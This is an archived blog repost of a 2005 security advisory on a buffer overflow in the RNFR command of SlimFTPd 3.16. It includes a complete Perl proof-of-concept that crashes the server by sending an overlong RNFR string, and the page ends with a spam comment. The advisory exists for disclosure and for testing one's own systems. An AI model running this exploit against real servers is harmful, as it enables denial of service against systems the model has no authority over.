Search This Blog

Monday, July 25, 2005

[EXPL] SlimFTPd RNFR Buffer Overflow (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

SlimFTPd RNFR Buffer Overflow (Exploit)
------------------------------------------------------------------------

SUMMARY

" <http://www.whitsoftdev.com/slimftpd/> SlimFTPd is a fully
standards-compliant FTP server implementation with an advanced virtual
file system."

Due to lack of proper length checking routines in SlimFTPd, attackers are
able to to execute arbitrary code by overflowing a buffer the program
uses. The following exploit code can be used to test your system for the
mentioned vulnerabilities.

DETAILS

Vulnerable Systems:
* SlimFTPd version 3.16

Immune Systems:
* SlimFTPd version 3.17

Exploit:
#!/usr/bin/perl

# --------------------------------------------------- #
# 47slimftpd_bof.pl - PoC exploit for SlimFTPd Server #
# version 3.16 #
# bug found by ml-bugtraq at twilight-hall.net #
# #
# coded by k0r0l from acolytez team #
# visit http://acolytez.com for details #
# --------------------------------------------------- #

use Net::FTP;

# geting data
$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];

# ===========

if (($host) && ($port)) {

# make exploit string
$exploit_string = "RNFR ";
$exploit_string .= "X"x512;
# ===================

print "Trying to connect to $host:$port\n";
$sock = Net::FTP->new("$host",Port => $port, TimeOut => 30, Debug
=> $debug) or die "[-] Connection failed\n";
print "[+] Connect OK!\n";
print "Logging...\n";
if (!$user) {
$user = "anonymous";
$pass = "ftp@ftp.com";
}
$sock->login($user, $pass);
$answer = $sock->message;
print "Sending string...\n";
$sock->quot($exploit_string);
print "Server $host may be down. Checking...\n";
$sock = Net::FTP->new("$host",Port => $port, TimeOut => 30, Debug
=> $debug) or die "[-] Connection failed\n";
if ($sock) {print "[-] Exploit failed.\n";} else {print "[+]
Server crashed!\n";}
} else {
print "SlimFTPd Server - PoC
Exploit\nhttp://AcolyteZ.com\n\nUsing: $0 host port username password
[debug: 1 or 0]\n\n";
}

#EoF

ADDITIONAL INFORMATION

The information has been provided by <mailto:dim@acolytez.com> Dim K0r0l.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

1 comment:

Anonymous said...

sac Louis Vuitton [url=http://www.vuittonsacspeedy.fr]sac Louis Vuitton[/url] uivkfr Louis Vuitton pas cher [url=http://www.vuittonsachomme.fr]Louis Vuitton sac à main[/url]